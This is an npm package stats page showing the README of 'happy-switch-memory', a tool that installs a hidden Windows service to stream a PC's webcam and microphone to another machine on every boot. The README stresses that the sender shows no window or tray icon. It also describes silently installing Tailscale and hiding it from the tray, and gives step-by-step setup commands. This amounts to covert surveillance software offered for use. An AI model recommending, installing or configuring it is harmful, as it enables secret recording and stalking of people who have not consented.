npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

happy-switch-memory

v1.0.11

Published

Silent Windows background webcam + mic streamer with bundled FFmpeg

Readme

happy-switch-memory

Silent Windows background webcam + microphone streamer with bundled FFmpeg.

Run on any Windows PC and get a friendly CLI wizard that configures everything, installs a Windows service, and starts streaming — no manual file editing, no separate FFmpeg install required. FFmpeg is bundled automatically via ffmpeg-static.

On every subsequent Windows boot the stream starts automatically. Zero user interaction. No visible window. No tray icon. Just a silent background process.

The sender PC stays completely hidden. The receiver PC shows a live system tray icon: 🟢 green = streaming, 🔴 red = offline.


Requirements

  • Windows 10 or 11
  • Node.js 16+

That's it. FFmpeg is bundled automatically.


Quick Start — Sender PC

Run as Administrator:

npx happy-switch-memory

Follow the wizard. Done. Streams on every boot automatically.


Same LAN (Same WiFi)

Both PCs are on the same network? The wizard detects your local IP automatically. Pick your camera, mic, quality preset, and you're streaming in seconds.

Receiver PC — VLC: Media → Open Network Stream → udp://@:1234

Auto-start on receiver boot

  1. Press Win+R, type shell:startup, press Enter
  2. Create a shortcut to:
"C:\Program Files\VideoLAN\VLC\vlc.exe" udp://@:1234

Different WiFi / Different Networks

The wizard handles everything automatically using Tailscale (a free, open-source VPN tunnel):

  • Installs Tailscale silently if not present
  • Opens browser for one-time 30-second login (Google or GitHub)
  • Hides Tailscale from the system tray completely
  • Streams over Tailscale's encrypted tunnel — no port forwarding needed

You only need to:

  1. Run npx happy-switch-memory on both PCs (sender and receiver)
  2. Log in to Tailscale once per PC using the same account
  3. Enter the receiver's Tailscale IP (shown by tailscale ip -4) when the wizard asks

After setup, both PCs auto-connect on every boot with zero interaction. Works across any WiFi, mobile hotspot, or ethernet connection anywhere in the world.

How it works under the hood

  • Tailscale creates an encrypted WireGuard tunnel between the two PCs
  • Both PCs get a 100.x.x.x IP address on the Tailscale network
  • Your stream goes over the encrypted tunnel, not the open internet
  • Tailscale is free for personal use (relay mode) — no subscription needed

What happens on every boot

  1. Windows starts
  2. HappySwitchMemory Windows service starts automatically
  3. 15-second initialization delay (USB drivers, network, service host)
  4. FFmpeg silently captures webcam + mic using the bundled binary
  5. Stream is live on the receiver — zero interaction needed

Managing the service

  • Check status: Press Win+R, type services.msc, find HappySwitchMemory
  • View errors: Open stream-error.log in the package folder
  • Uninstall: npx happy-switch-memory → select "Uninstall service"

Troubleshooting

| Problem | Solution | |---------|----------| | No devices listed | Unplug and replug camera/mic, rerun wizard | | Stream not showing | Check firewall allows UDP on chosen port | | Service won't install | Rerun terminal as Administrator | | Bundled FFmpeg missing | npm install happy-switch-memory to reinstall | | Tailscale login stuck | Check browser opened — complete login, then rerun wizard |


Configuration

The wizard saves settings to config.json in the package folder. You can re-run npx happy-switch-memory at any time to change settings.


License

MIT